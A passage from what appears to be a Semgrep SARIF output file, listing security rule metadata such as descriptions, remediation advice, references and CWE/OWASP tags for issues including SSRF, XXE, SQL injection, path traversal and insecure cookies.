queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf","id":"javascript.express.needle.ssrf.ssrf","name":"javascript.express.needle.ssrf.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.needle.ssrf.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n - [https://ractive.js.org/v0.x/0.7/mustaches#variables](https://ractive.js.org/v0.x/0.7/mustaches#variables)\n","text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","id":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","name":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","id":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","name":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","id":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","name":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"help":{"markdown":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n","text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","id":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","name":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","properties":{"precision":"very-high","tags":["CWE-451: User Interface (UI) Misrepresentation of Critical Information","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection","id":"cpp.lang.security.sql.sql-injection.sql-injection","name":"cpp.lang.security.sql.sql-injection.sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.sql.sql-injection.sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","id":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","name":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"help":{"markdown":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n","text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","id":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","name":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"help":{"markdown":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_configuration#metadata_options)\n - [https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service)\n","text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","id":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","name":"terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled","properties":{"precision":"very-high","tags":["CWE-1390: Weak Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and 